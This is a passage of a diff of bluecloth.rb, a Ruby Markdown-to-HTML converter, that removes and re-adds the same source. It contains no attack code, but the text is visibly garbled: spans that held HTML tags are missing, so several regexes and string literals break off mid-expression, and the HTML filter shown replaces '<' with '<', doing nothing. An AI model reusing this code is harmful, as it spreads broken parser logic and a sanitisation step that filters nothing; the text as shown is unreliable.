@log.debug "Hid HTML blocks: %p" % text - @log.debug "Render state: %p" % rs - - # Strip link definitions, store in render state - text = strip_link_definitions( text, rs ) - @log.debug "Stripped link definitions: %p" % text - @log.debug "Render state: %p" % rs - - # Escape meta-characters - text = escape_special_chars( text ) - @log.debug "Escaped special characters: %p" % text - - # Transform block-level constructs - text = apply_block_transforms( text, rs ) - @log.debug "After block-level transforms: %p" % text - - # Now swap back in all the escaped characters - text = unescape_special_chars( text ) - @log.debug "After unescaping special characters: %p" % text - - return text - end - - - ### Convert tabs in +str+ to spaces. - def detab( tabwidth=TabWidth ) - copy = self.dup - copy.detab!( tabwidth ) - return copy - end - - - ### Convert tabs to spaces in place and return self if any were converted. - def detab!( tabwidth=TabWidth ) - newstr = self.split( /\n/ ).collect {|line| - line.gsub( /(.*?)\t/ ) do - $1 + ' ' * (tabwidth - $1.length % tabwidth) - end - }.join("\n") - self.replace( newstr ) - end - - - ####### - #private - ####### - - ### Do block-level transforms on a copy of +str+ using the specified render - ### state +rs+ and return the results. - def apply_block_transforms( str, rs ) - # Port: This was called '_runBlockGamut' in the original - - @log.debug "Applying block transforms to:\n %p" % str - text = transform_headers( str, rs ) - text = transform_hrules( text, rs ) - text = transform_lists( text, rs ) - text = transform_code_blocks( text, rs ) - text = transform_block_quotes( text, rs ) - text = transform_auto_links( text, rs ) - text = hide_html_blocks( text, rs ) - - text = form_paragraphs( text, rs ) - - @log.debug "Done with block transforms:\n %p" % text - return text - end - - - ### Apply Markdown span transforms to a copy of the specified +str+ with the - ### given render state +rs+ and return it. - def apply_span_transforms( str, rs ) - @log.debug "Applying span transforms to:\n %p" % str - - str = transform_code_spans( str, rs ) - str = encode_html( str ) - str = transform_images( str, rs ) - str = transform_anchors( str, rs ) - str = transform_italic_and_bold( str, rs ) - - # Hard breaks - str.gsub!( / {2,}\n/, " - #
        - # tags for inner block must be indented. - #
        - #
  • - StrictBlockRegex = %r{ - ^ # Start of line - <(#{StrictTagPattern}) # Start tag: \2 - \b # word break - (.*\n)*? # Any number of lines, minimal match - # Matching end tag - [ ]* # trailing spaces - $ # End of line or document - }ix - - # More-liberal block-matching - LooseBlockRegex = %r{ - ^ # Start of line - <(#{LooseTagPattern}) # start tag: \2 - \b # word break - (.*\n)*? # Any number of lines, minimal match - .* # Anything + Matching end tag - [ ]* # trailing spaces - $ # End of line or document - }ix - - # Special case for
    . - HruleBlockRegex = %r{ - ( # $1 - \A\n? # Start of doc + optional \n - | # or - .*\n\n # anything + blank line - ) - ( # save in $2 - [ ]* # Any spaces -
    ])*? # Attributes - /?> # Tag close - $ # followed by a blank line or end of document - ) - }ix - - ### Replace all blocks of HTML in +str+ that start in the left margin with - ### tokens. - def hide_html_blocks( str, rs ) - @log.debug "Hiding HTML blocks in %p" % str - - # Tokenizer proc to pass to gsub - tokenize = lambda {|match| - key = Digest::MD5::hexdigest( match ) - rs.html_blocks[ key ] = match - @log.debug "Replacing %p with %p" % [ match, key ] - "\n\n#{key}\n\n" - } - - rval = str.dup - - @log.debug "Finding blocks with the strict regex..." - rval.gsub!( StrictBlockRegex, &tokenize ) - - @log.debug "Finding blocks with the loose regex..." - rval.gsub!( LooseBlockRegex, &tokenize ) - - @log.debug "Finding hrules..." - rval.gsub!( HruleBlockRegex ) {|match| $1 + tokenize[$2] } - - return rval - end - - - # Link defs are in the form: ^[id]: url "optional title" - LinkRegex = %r{ - ^[ ]*\[(.+)\]: # id = $1 - [ ]* - \n? # maybe *one* newline - [ ]* - ? # url = $2 - [ ]* - \n? # maybe one newline - [ ]* - (?: - # Titles are delimited by "quotes" or (parens). - ["(] - (.+?) # title = $3 - [")] # Matching ) or " - [ ]* - )? # title is optional - (?:\n+|\Z) - }x - - ### Strip link definitions from +str+, storing them in the given RenderState - ### +rs+. - def strip_link_definitions( str, rs ) - str.gsub( LinkRegex ) {|match| - id, url, title = $1, $2, $3 - - rs.urls[ id.downcase ] = encode_html( url ) - unless title.nil? - rs.titles[ id.downcase ] = title.gsub( /"/, """ ) - end - "" - } - end - - - ### Escape special characters in the given +str+ - def escape_special_chars( str ) - @log.debug " Escaping special characters" - text = '' - - # The original Markdown source has something called '$tags_to_skip' - # declared here, but it's never used, so I don't define it. - - tokenize_html( str ) {|token, str| - @log.debug " Adding %p token %p" % [ token, str ] - case token - - # Within tags, encode * and _ - when :tag - text += str. - gsub( /\*/, EscapeTable['*'][:md5] ). - gsub( /_/, EscapeTable['_'][:md5] ) - - # Encode backslashed stuff in regular text - when :text - text += encode_backslash_escapes( str ) - else - raise TypeError, "Unknown token type %p" % token - end - } - - @log.debug " Text with escapes is now: %p" % text - return text - end - - - ### Swap escaped special characters in a copy of the given +str+ and return - ### it. - def unescape_special_chars( str ) - EscapeTable.each {|char, hash| - @log.debug "Unescaping escaped %p with %p" % [ char, hash[:md5re] ] - str.gsub!( hash[:md5re], char ) - } - - return str - end - - - ### Return a copy of the given +str+ with any backslashed special character - ### in it replaced with MD5 placeholders. - def encode_backslash_escapes( str ) - # Make a copy with any double-escaped backslashes encoded - text = str.gsub( /\\\\/, EscapeTable['\\'][:md5] ) - - EscapeTable.each_pair {|char, esc| - next if char == '\\' - text.gsub!( esc[:re], esc[:md5] ) - } - - return text - end - - - ### Transform any Markdown-style horizontal rules in a copy of the specified - ### +str+ and return it. - def transform_hrules( str, rs ) - @log.debug " Transforming horizontal rules" - str.gsub( /^( ?[\-\*_] ?){3,}$/, "\n\n%s\n} % [ - list_type, - transform_list_items( list, rs ), - list_type, - ] - } - end - - - # Pattern for transforming list items - ListItemRegexp = %r{ - (\n)? # leading line = $1 - (^[ ]*) # leading whitespace = $2 - (#{ListMarkerAny}) [ ]+ # list marker = $3 - ((?m:.+?) # list item text = $4 - (\n{1,2})) - (?= \n* (\z | \2 (#{ListMarkerAny}) [ ]+)) - }x - - ### Transform list items in a copy of the given +str+ and return it. - def transform_list_items( str, rs ) - @log.debug " Transforming list items" - - # Trim trailing blank lines - str = str.sub( /\n{2,}\z/, "\n" ) - - str.gsub( ListItemRegexp ) {|line| - @log.debug " Found item line %p" % line - leading_line, item = $1, $4 - - if leading_line or /\n{2,}/.match( item ) - @log.debug " Found leading line or item has a blank" - item = apply_block_transforms( outdent(item), rs ) - else - # Recursion for sub-lists - @log.debug " Recursing for sublist" - item = transform_lists( outdent(item), rs ).chomp - item = apply_span_transforms( item, rs ) - end - - %{
  • %s
  • \n} % item - } - end - - - # Pattern for matching codeblocks - CodeBlockRegexp = %r{ - (?:\n\n|\A) - ( # $1 = the code block - (?: - (?:[ ]{#{TabWidth}} | \t) # a tab or tab-width of spaces - .*\n+ - )+ - ) - (^[ ]{0,#{TabWidth - 1}}\S|\Z) # Lookahead for non-space at - # line-start, or end of doc - }x - - ### Transform Markdown-style codeblocks in a copy of the specified +str+ and - ### return it. - def transform_code_blocks( str, rs ) - @log.debug " Transforming code blocks" - - str.gsub( CodeBlockRegexp ) {|block| - codeblock = $1 - remainder = $2 - - # Generate the codeblock - %{\n\n
    %s\n
    \n\n%s} % - [ encode_code( outdent(codeblock), rs ).rstrip, remainder ] - } - end - - - # Pattern for matching Markdown blockquote blocks - BlockQuoteRegexp = %r{ - (?: - ^[ ]*>[ ]? # '>' at the start of a line - .+\n # rest of the first line - (?:.+\n)* # subsequent consecutive lines - \n* # blanks - )+ - }x - PreChunk = %r{ ( ^ \s*
     .+? 
    ) }xm - - ### Transform Markdown-style blockquotes in a copy of the specified +str+ - ### and return it. - def transform_block_quotes( str, rs ) - @log.debug " Transforming block quotes" - - str.gsub( BlockQuoteRegexp ) {|quote| - @log.debug "Making blockquote from %p" % quote - - quote.gsub!( /^ *> ?/, '' ) # Trim one level of quoting - quote.gsub!( /^ +$/, '' ) # Trim whitespace-only lines - - indent = " " * TabWidth - quoted = %{
    \n%s\n
    \n\n} % - apply_block_transforms( quote, rs ). - gsub( /^/, indent ). - gsub( PreChunk ) {|m| m.gsub(/^#{indent}/o, '') } - @log.debug "Blockquoted chunk is: %p" % quoted - quoted - } - end - - - AutoAnchorURLRegexp = /<((https?|ftp):[^'">\s]+)>/ - AutoAnchorEmailRegexp = %r{ - < - ( - [-.\w]+ - \@ - [-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+ - ) - > - }xi - - ### Transform URLs in a copy of the specified +str+ into links and return - ### it. - def transform_auto_links( str, rs ) - @log.debug " Transforming auto-links" - str.gsub( AutoAnchorURLRegexp, %{\\1}). - gsub( AutoAnchorEmailRegexp ) {|addr| - encode_email_address( unescape_special_chars($1) ) - } - end - - - # Encoder functions to turn characters of an email address into encoded - # entities. - Encoders = [ - lambda {|char| "&#%03d;" % char}, - lambda {|char| "&#x%X;" % char}, - lambda {|char| char.chr }, - ] - - ### Transform a copy of the given email +addr+ into an escaped version safer - ### for posting publicly. - def encode_email_address( addr ) - - rval = '' - ("mailto:" + addr).each_byte {|b| - case b - when ?: - rval += ":" - when ?@ - rval += Encoders[ rand(2) ][ b ] - else - r = rand(100) - rval += ( - r > 90 ? Encoders[2][ b ] : - r < 45 ? Encoders[1][ b ] : - Encoders[0][ b ] - ) - end - } - - return %{%s} % [ rval, rval.sub(/.+?:/, '') ] - end - - - # Regex for matching Setext-style headers - SetextHeaderRegexp = %r{ - (.+) # The title text ($1) - \n - ([\-=])+ # Match a line of = or -. Save only one in $2. - [ ]*\n+ - }x - - # Regexp for matching ATX-style headers - AtxHeaderRegexp = %r{ - ^(\#{1,6}) # $1 = string of #'s - [ ]* - (.+?) # $2 = Header text - [ ]* - \#* # optional closing #'s (not counted) - \n+ - }x - - ### Apply Markdown header transforms to a copy of the given +str+ amd render - ### state +rs+ and return the result. - def transform_headers( str, rs ) - @log.debug " Transforming headers" - - # Setext-style headers: - # Header 1 - # ======== - # - # Header 2 - # -------- - # - str. - gsub( SetextHeaderRegexp ) {|m| - @log.debug "Found setext-style header" - title, hdrchar = $1, $2 - title = apply_span_transforms( title, rs ) - - case hdrchar - when '=' - %[

    #{title}

    \n\n] - when '-' - %[

    #{title}

    \n\n] - else - title - end - }. - - gsub( AtxHeaderRegexp ) {|m| - @log.debug "Found ATX-style header" - hdrchars, title = $1, $2 - title = apply_span_transforms( title, rs ) - - level = hdrchars.length - %{%s\n\n} % [ level, title, level ] - } - end - - - ### Wrap all remaining paragraph-looking text in a copy of +str+ inside

    - ### tags and return it. - def form_paragraphs( str, rs ) - @log.debug " Forming paragraphs" - grafs = str. - sub( /\A\n+/, '' ). - sub( /\n+\z/, '' ). - split( /\n{2,}/ ) - - rval = grafs.collect {|graf| - - # Unhashify HTML blocks if this is a placeholder - if rs.html_blocks.key?( graf ) - rs.html_blocks[ graf ] - - # Otherwise, wrap in

    tags - else - apply_span_transforms(graf, rs). - sub( /^[ ]*/, '

    ' ) + '

    ' - end - }.join( "\n\n" ) - - @log.debug " Formed paragraphs: %p" % rval - return rval - end - - - # Pattern to match the linkid part of an anchor tag for reference-style - # links. - RefLinkIdRegex = %r{ - [ ]? # Optional leading space - (?:\n[ ]*)? # Optional newline + spaces - \[ - (.*?) # Id = $1 - \] - }x - - InlineLinkRegex = %r{ - \( # Literal paren - [ ]* # Zero or more spaces - ? # URI = $1 - [ ]* # Zero or more spaces - (?: # - ([\"\']) # Opening quote char = $2 - (.*?) # Title = $3 - \2 # Matching quote char - )? # Title is optional - \) - }x - - ### Apply Markdown anchor transforms to a copy of the specified +str+ with - ### the given render state +rs+ and return it. - def transform_anchors( str, rs ) - @log.debug " Transforming anchors" - @scanner.string = str.dup - text = '' - - # Scan the whole string - until @scanner.empty? - - if @scanner.scan( /\[/ ) - link = ''; linkid = '' - depth = 1 - startpos = @scanner.pos - @log.debug " Found a bracket-open at %d" % startpos - - # Scan the rest of the tag, allowing unlimited nested []s. If - # the scanner runs out of text before the opening bracket is - # closed, append the text and return (wasn't a valid anchor). - while depth.nonzero? - linktext = @scanner.scan_until( /\]|\[/ ) - - if linktext - @log.debug " Found a bracket at depth %d: %p" % [ depth, linktext ] - link += linktext - - # Decrement depth for each closing bracket - depth += ( linktext[-1, 1] == ']' ? -1 : 1 ) - @log.debug " Depth is now #{depth}" - - # If there's no more brackets, it must not be an anchor, so - # just abort. - else - @log.debug " Missing closing brace, assuming non-link." - link += @scanner.rest - @scanner.terminate - return text + '[' + link - end - end - link.slice!( -1 ) # Trim final ']' - @log.debug " Found leading link %p" % link - - # Look for a reference-style second part - if @scanner.scan( RefLinkIdRegex ) - linkid = @scanner[1] - linkid = link.dup if linkid.empty? - linkid.downcase! - @log.debug " Found a linkid: %p" % linkid - - # If there's a matching link in the link table, build an - # anchor tag for it. - if rs.urls.key?( linkid ) - @log.debug " Found link key in the link table: %p" % rs.urls[linkid] - url = escape_md( rs.urls[linkid] ) - - text += %{#{link}} - - # If the link referred to doesn't exist, just append the raw - # source to the result - else - @log.debug " Linkid %p not found in link table" % linkid - @log.debug " Appending original string instead: " - @log.debug "%p" % @scanner.string[ startpos-1 .. @scanner.pos-1 ] - text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] - end - - # ...or for an inline style second part - elsif @scanner.scan( InlineLinkRegex ) - url = @scanner[1] - title = @scanner[3] - @log.debug " Found an inline link to %p" % url - - text += %{#{link}} - - # No linkid part: just append the first part as-is. - else - @log.debug "No linkid, so no anchor. Appending literal text." - text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] - end # if linkid - - # Plain text - else - @log.debug " Scanning to the next link from %p" % @scanner.rest - text += @scanner.scan( /[^\[]+/ ) - end - - end # until @scanner.empty? - - return text - end - - - # Pattern to match strong emphasis in Markdown text - BoldRegexp = %r{ (\*\*|__) (\S|\S.+?\S) \1 }x - - # Pattern to match normal emphasis in Markdown text - ItalicRegexp = %r{ (\*|_) (\S|\S.+?\S) \1 }x - - ### Transform italic- and bold-encoded text in a copy of the specified +str+ - ### and return it. - def transform_italic_and_bold( str, rs ) - @log.debug " Transforming italic and bold" - - str. - gsub( BoldRegexp, %{\\2} ). - gsub( ItalicRegexp, %{\\2} ) - end - - - ### Transform backticked spans into spans. - def transform_code_spans( str, rs ) - @log.debug " Transforming code spans" - - # Set up the string scanner and just return the string unless there's at - # least one backtick. - @scanner.string = str.dup - unless @scanner.exist?( /`/ ) - @scanner.terminate - @log.debug "No backticks found for code span in %p" % str - return str - end - - @log.debug "Transforming code spans in %p" % str - - # Build the transformed text anew - text = '' - - # Scan to the end of the string - until @scanner.empty? - - # Scan up to an opening backtick - if pre = @scanner.scan_until( /.?(?=`)/m ) - text += pre - @log.debug "Found backtick at %d after '...%s'" % [ @scanner.pos, text[-10, 10] ] - - # Make a pattern to find the end of the span - opener = @scanner.scan( /`+/ ) - len = opener.length - closer = Regexp::new( opener ) - @log.debug "Scanning for end of code span with %p" % closer - - # Scan until the end of the closing backtick sequence. Chop the - # backticks off the resultant string, strip leading and trailing - # whitespace, and encode any enitites contained in it. - codespan = @scanner.scan_until( closer ) or - raise FormatError::new( @scanner.rest[0,20], - "No %p found before end" % opener ) - - @log.debug "Found close of code span at %d: %p" % [ @scanner.pos - len, codespan ] - codespan.slice!( -len, len ) - text += "%s" % - encode_code( codespan.strip, rs ) - - # If there's no more backticks, just append the rest of the string - # and move the scan pointer to the end - else - text += @scanner.rest - @scanner.terminate - end - end - - return text - end - - - # Next, handle inline images: ![alt text](url "optional title") - # Don't forget: encode * and _ - InlineImageRegexp = %r{ - ( # Whole match = $1 - !\[ (.*?) \] # alt text = $2 - \([ ]* - ? # source url = $3 - [ ]* - (?: # - (["']) # quote char = $4 - (.*?) # title = $5 - \4 # matching quote - [ ]* - )? # title is optional - \) - ) - }xs #" - - - # Reference-style images - ReferenceImageRegexp = %r{ - ( # Whole match = $1 - !\[ (.*?) \] # Alt text = $2 - [ ]? # Optional space - (?:\n[ ]*)? # One optional newline + spaces - \[ (.*?) \] # id = $3 - ) - }xs - - ### Turn image markup into image tags. - def transform_images( str, rs ) - @log.debug " Transforming images" % str - - # Handle reference-style labeled images: ![alt text][id] - str. - gsub( ReferenceImageRegexp ) {|match| - whole, alt, linkid = $1, $2, $3.downcase - @log.debug "Matched %p" % match - res = nil - alt.gsub!( /"/, '"' ) - - # for shortcut links like ![this][]. - linkid = alt.downcase if linkid.empty? - - if rs.urls.key?( linkid ) - url = escape_md( rs.urls[linkid] ) - @log.debug "Found url '%s' for linkid '%s' " % [ url, linkid ] - - # Build the tag - result = %{%s}, '>' ). - gsub( CodeEscapeRegexp ) {|match| EscapeTable[match][:md5]} - end - - - - ################################################################# - ### U T I L I T Y F U N C T I O N S - ################################################################# - - ### Escape any markdown characters in a copy of the given +str+ and return - ### it. - def escape_md( str ) - str. - gsub( /\*/, EscapeTable['*'][:md5] ). - gsub( /_/, EscapeTable['_'][:md5] ) - end - - - # Matching constructs for tokenizing X/HTML - HTMLCommentRegexp = %r{ }mx - XMLProcInstRegexp = %r{ <\? .*? \?> }mx - MetaTag = Regexp::union( HTMLCommentRegexp, XMLProcInstRegexp ) - - HTMLTagOpenRegexp = %r{ < [a-z/!$] [^<>]* }imx - HTMLTagCloseRegexp = %r{ > }x - HTMLTagPart = Regexp::union( HTMLTagOpenRegexp, HTMLTagCloseRegexp ) - - ### Break the HTML source in +str+ into a series of tokens and return - ### them. The tokens are just 2-element Array tuples with a type and the - ### actual content. If this function is called with a block, the type and - ### text parts of each token will be yielded to it one at a time as they are - ### extracted. - def tokenize_html( str ) - depth = 0 - tokens = [] - @scanner.string = str.dup - type, token = nil, nil - - until @scanner.empty? - @log.debug "Scanning from %p" % @scanner.rest - - # Match comments and PIs without nesting - if (( token = @scanner.scan(MetaTag) )) - type = :tag - - # Do nested matching for HTML tags - elsif (( token = @scanner.scan(HTMLTagOpenRegexp) )) - tagstart = @scanner.pos - @log.debug " Found the start of a plain tag at %d" % tagstart - - # Start the token with the opening angle - depth = 1 - type = :tag - - # Scan the rest of the tag, allowing unlimited nested <>s. If - # the scanner runs out of text before the tag is closed, raise - # an error. - while depth.nonzero? - - # Scan either an opener or a closer - chunk = @scanner.scan( HTMLTagPart ) or - raise "Malformed tag at character %d: %p" % - [ tagstart, token + @scanner.rest ] - - @log.debug " Found another part of the tag at depth %d: %p" % [ depth, chunk ] - - token += chunk - - # If the last character of the token so far is a closing - # angle bracket, decrement the depth. Otherwise increment - # it for a nested tag. - depth += ( token[-1, 1] == '>' ? -1 : 1 ) - @log.debug " Depth is now #{depth}" - end - - # Match text segments - else - @log.debug " Looking for a chunk of text" - type = :text - - # Scan forward, always matching at least one character to move - # the pointer beyond any non-tag '<'. - token = @scanner.scan_until( /[^<]+/m ) - end - - @log.debug " type: %p, token: %p" % [ type, token ] - - # If a block is given, feed it one token at a time. Add the token to - # the token list to be returned regardless. - if block_given? - yield( type, token ) - end - tokens << [ type, token ] - end - - return tokens - end - - - ### Return a copy of +str+ with angle brackets and ampersands HTML-encoded. - def encode_html( str ) - str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\w+);)/i, "&" ). - gsub( %r{<(?![a-z/?\$!])}i, "<" ) - end - - - ### Return one level of line-leading tabs or spaces from a copy of +str+ and - ### return it. - def outdent( str ) - str.gsub( /^(\t|[ ]{1,#{TabWidth}})/, '') - end - -end # class BlueCloth - +#!/usr/bin/ruby +# +# Bluecloth is a Ruby implementation of Markdown, a text-to-HTML conversion +# tool. +# +# == Synopsis +# +# doc = BlueCloth::new " +# ## Test document ## +# +# Just a simple test. +# " +# +# puts doc.to_html +# +# == Authors +# +# * Michael Granger +# +# == Contributors +# +# * Martin Chase - Peer review, helpful suggestions +# * Florian Gross - Filter options, suggestions +# +# == Copyright +# +# Original version: +# Copyright (c) 2003-2004 John Gruber +# +# All rights reserved. +# +# Ruby port: +# Copyright (c) 2004 The FaerieMUD Consortium. +# +# BlueCloth is free software; you can redistribute it and/or modify it under the +# terms of the GNU General Public License as published by the Free Software +# Foundation; either version 2 of the License, or (at your option) any later +# version. +# +# BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +# A PARTICULAR PURPOSE. See the GNU General Public License for more details. +# +# == To-do +# +# * Refactor some of the larger uglier methods that have to do their own +# brute-force scanning because of lack of Perl features in Ruby's Regexp +# class. Alternately, could add a dependency on 'pcre' and use most Perl +# regexps. +# +# * Put the StringScanner in the render state for thread-safety. +# +# == Version +# +# $Id: bluecloth.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# + +require 'digest/md5' +require 'logger' +require 'strscan' + + +### BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion +### tool. +class BlueCloth < String + + ### Exception class for formatting errors. + class FormatError < RuntimeError + + ### Create a new FormatError with the given source +str+ and an optional + ### message about the +specific+ error. + def initialize( str, specific=nil ) + if specific + msg = "Bad markdown format near %p: %s" % [ str, specific ] + else + msg = "Bad markdown format near %p" % str + end + + super( msg ) + end + end + + + # Release Version + Version = '0.0.3' + + # SVN Revision + SvnRev = %q$Rev: 69 $ + + # SVN Id tag + SvnId = %q$Id: bluecloth.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ + + # SVN URL + SvnUrl = %q$URL: svn+ssh://svn.faeriemud.org/usr/local/svn/BlueCloth/trunk/lib/bluecloth.rb $ + + + # Rendering state struct. Keeps track of URLs, titles, and HTML blocks + # midway through a render. I prefer this to the globals of the Perl version + # because globals make me break out in hives. Or something. + RenderState = Struct::new( "RenderState", :urls, :titles, :html_blocks, :log ) + + # Tab width for #detab! if none is specified + TabWidth = 4 + + # The tag-closing string -- set to '>' for HTML + EmptyElementSuffix = "/>"; + + # Table of MD5 sums for escaped characters + EscapeTable = {} + '\\`*_{}[]()#.!'.split(//).each {|char| + hash = Digest::MD5::hexdigest( char ) + + EscapeTable[ char ] = { + :md5 => hash, + :md5re => Regexp::new( hash ), + :re => Regexp::new( '\\\\' + Regexp::escape(char) ), + } + } + + + ################################################################# + ### I N S T A N C E M E T H O D S + ################################################################# + + ### Create a new BlueCloth string. + def initialize( content="", *restrictions ) + @log = Logger::new( $deferr ) + @log.level = $DEBUG ? + Logger::DEBUG : + ($VERBOSE ? Logger::INFO : Logger::WARN) + @scanner = nil + + # Add any restrictions, and set the line-folding attribute to reflect + # what happens by default. + @filter_html = nil + @filter_styles = nil + restrictions.flatten.each {|r| __send__("#{r}=", true) } + @fold_lines = true + + super( content ) + + @log.debug "String is: %p" % self + end + + + ###### + public + ###### + + # Filters for controlling what gets output for untrusted input. (But really, + # you're filtering bad stuff out of untrusted input at submission-time via + # untainting, aren't you?) + attr_accessor :filter_html, :filter_styles + + # RedCloth-compatibility accessor. Line-folding is part of Markdown syntax, + # so this isn't used by anything. + attr_accessor :fold_lines + + + ### Render Markdown-formatted text in this string object as HTML and return + ### it. The parameter is for compatibility with RedCloth, and is currently + ### unused, though that may change in the future. + def to_html( lite=false ) + + # Create a StringScanner we can reuse for various lexing tasks + @scanner = StringScanner::new( '' ) + + # Make a structure to carry around stuff that gets placeholdered out of + # the source. + rs = RenderState::new( {}, {}, {} ) + + # Make a copy of the string with normalized line endings, tabs turned to + # spaces, and a couple of guaranteed newlines at the end + text = self.gsub( /\r\n?/, "\n" ).detab + text += "\n\n" + @log.debug "Normalized line-endings: %p" % text + + # Filter HTML if we're asked to do so + if self.filter_html + text.gsub!( "<", "<" ) + text.gsub!( ">", ">" ) + @log.debug "Filtered HTML: %p" % text + end + + # Simplify blank lines + text.gsub!( /^ +$/, '' ) + @log.debug "Tabs -> spaces/blank lines stripped: %p" % text + + # Replace HTML blocks with placeholders + text = hide_html_blocks( text, rs ) + @log.debug "Hid HTML blocks: %p" % text + @log.debug "Render state: %p" % rs + + # Strip link definitions, store in render state + text = strip_link_definitions( text, rs ) + @log.debug "Stripped link definitions: %p" % text + @log.debug "Render state: %p" % rs + + # Escape meta-characters + text = escape_special_chars( text ) + @log.debug "Escaped special characters: %p" % text + + # Transform block-level constructs + text = apply_block_transforms( text, rs ) + @log.debug "After block-level transforms: %p" % text + + # Now swap back in all the escaped characters + text = unescape_special_chars( text ) + @log.debug "After unescaping special characters: %p" % text + + return text + end + + + ### Convert tabs in +str+ to spaces. + def detab( tabwidth=TabWidth ) + copy = self.dup + copy.detab!( tabwidth ) + return copy + end + + + ### Convert tabs to spaces in place and return self if any were converted. + def detab!( tabwidth=TabWidth ) + newstr = self.split( /\n/ ).collect {|line| + line.gsub( /(.*?)\t/ ) do + $1 + ' ' * (tabwidth - $1.length % tabwidth) + end + }.join("\n") + self.replace( newstr ) + end + + + ####### + #private + ####### + + ### Do block-level transforms on a copy of +str+ using the specified render + ### state +rs+ and return the results. + def apply_block_transforms( str, rs ) + # Port: This was called '_runBlockGamut' in the original + + @log.debug "Applying block transforms to:\n %p" % str + text = transform_headers( str, rs ) + text = transform_hrules( text, rs ) + text = transform_lists( text, rs ) + text = transform_code_blocks( text, rs ) + text = transform_block_quotes( text, rs ) + text = transform_auto_links( text, rs ) + text = hide_html_blocks( text, rs ) + + text = form_paragraphs( text, rs ) + + @log.debug "Done with block transforms:\n %p" % text + return text + end + + + ### Apply Markdown span transforms to a copy of the specified +str+ with the + ### given render state +rs+ and return it. + def apply_span_transforms( str, rs ) + @log.debug "Applying span transforms to:\n %p" % str + + str = transform_code_spans( str, rs ) + str = encode_html( str ) + str = transform_images( str, rs ) + str = transform_anchors( str, rs ) + str = transform_italic_and_bold( str, rs ) + + # Hard breaks + str.gsub!( / {2,}\n/, " + #
    + # tags for inner block must be indented. + #
    + #
    + StrictBlockRegex = %r{ + ^ # Start of line + <(#{StrictTagPattern}) # Start tag: \2 + \b # word break + (.*\n)*? # Any number of lines, minimal match + # Matching end tag + [ ]* # trailing spaces + $ # End of line or document + }ix + + # More-liberal block-matching + LooseBlockRegex = %r{ + ^ # Start of line + <(#{LooseTagPattern}) # start tag: \2 + \b # word break + (.*\n)*? # Any number of lines, minimal match + .* # Anything + Matching end tag + [ ]* # trailing spaces + $ # End of line or document + }ix + + # Special case for
    . + HruleBlockRegex = %r{ + ( # $1 + \A\n? # Start of doc + optional \n + | # or + .*\n\n # anything + blank line + ) + ( # save in $2 + [ ]* # Any spaces +
    ])*? # Attributes + /?> # Tag close + $ # followed by a blank line or end of document + ) + }ix + + ### Replace all blocks of HTML in +str+ that start in the left margin with + ### tokens. + def hide_html_blocks( str, rs ) + @log.debug "Hiding HTML blocks in %p" % str + + # Tokenizer proc to pass to gsub + tokenize = lambda {|match| + key = Digest::MD5::hexdigest( match ) + rs.html_blocks[ key ] = match + @log.debug "Replacing %p with %p" % [ match, key ] + "\n\n#{key}\n\n" + } + + rval = str.dup + + @log.debug "Finding blocks with the strict regex..." + rval.gsub!( StrictBlockRegex, &tokenize ) + + @log.debug "Finding blocks with the loose regex..." + rval.gsub!( LooseBlockRegex, &tokenize ) + + @log.debug "Finding hrules..." + rval.gsub!( HruleBlockRegex ) {|match| $1 + tokenize[$2] } + + return rval + end + + + # Link defs are in the form: ^[id]: url "optional title" + LinkRegex = %r{ + ^[ ]*\[(.+)\]: # id = $1 + [ ]* + \n? # maybe *one* newline + [ ]* + ? # url = $2 + [ ]* + \n? # maybe one newline + [ ]* + (?: + # Titles are delimited by "quotes" or (parens). + ["(] + (.+?) # title = $3 + [")] # Matching ) or " + [ ]* + )? # title is optional + (?:\n+|\Z) + }x + + ### Strip link definitions from +str+, storing them in the given RenderState + ### +rs+. + def strip_link_definitions( str, rs ) + str.gsub( LinkRegex ) {|match| + id, url, title = $1, $2, $3 + + rs.urls[ id.downcase ] = encode_html( url ) + unless title.nil? + rs.titles[ id.downcase ] = title.gsub( /"/, """ ) + end + "" + } + end + + + ### Escape special characters in the given +str+ + def escape_special_chars( str ) + @log.debug " Escaping special characters" + text = '' + + # The original Markdown source has something called '$tags_to_skip' + # declared here, but it's never used, so I don't define it. + + tokenize_html( str ) {|token, str| + @log.debug " Adding %p token %p" % [ token, str ] + case token + + # Within tags, encode * and _ + when :tag + text += str. + gsub( /\*/, EscapeTable['*'][:md5] ). + gsub( /_/, EscapeTable['_'][:md5] ) + + # Encode backslashed stuff in regular text + when :text + text += encode_backslash_escapes( str ) + else + raise TypeError, "Unknown token type %p" % token + end + } + + @log.debug " Text with escapes is now: %p" % text + return text + end + + + ### Swap escaped special characters in a copy of the given +str+ and return + ### it. + def unescape_special_chars( str ) + EscapeTable.each {|char, hash| + @log.debug "Unescaping escaped %p with %p" % [ char, hash[:md5re] ] + str.gsub!( hash[:md5re], char ) + } + + return str + end + + + ### Return a copy of the given +str+ with any backslashed special character + ### in it replaced with MD5 placeholders. + def encode_backslash_escapes( str ) + # Make a copy with any double-escaped backslashes encoded + text = str.gsub( /\\\\/, EscapeTable['\\'][:md5] ) + + EscapeTable.each_pair {|char, esc| + next if char == '\\' + text.gsub!( esc[:re], esc[:md5] ) + } + + return text + end + + + ### Transform any Markdown-style horizontal rules in a copy of the specified + ### +str+ and return it. + def transform_hrules( str, rs ) + @log.debug " Transforming horizontal rules" + str.gsub( /^( ?[\-\*_] ?){3,}$/, "\n\n%s\n} % [ + list_type, + transform_list_items( list, rs ), + list_type, + ] + } + end + + + # Pattern for transforming list items + ListItemRegexp = %r{ + (\n)? # leading line = $1 + (^[ ]*) # leading whitespace = $2 + (#{ListMarkerAny}) [ ]+ # list marker = $3 + ((?m:.+?) # list item text = $4 + (\n{1,2})) + (?= \n* (\z | \2 (#{ListMarkerAny}) [ ]+)) + }x + + ### Transform list items in a copy of the given +str+ and return it. + def transform_list_items( str, rs ) + @log.debug " Transforming list items" + + # Trim trailing blank lines + str = str.sub( /\n{2,}\z/, "\n" ) + + str.gsub( ListItemRegexp ) {|line| + @log.debug " Found item line %p" % line + leading_line, item = $1, $4 + + if leading_line or /\n{2,}/.match( item ) + @log.debug " Found leading line or item has a blank" + 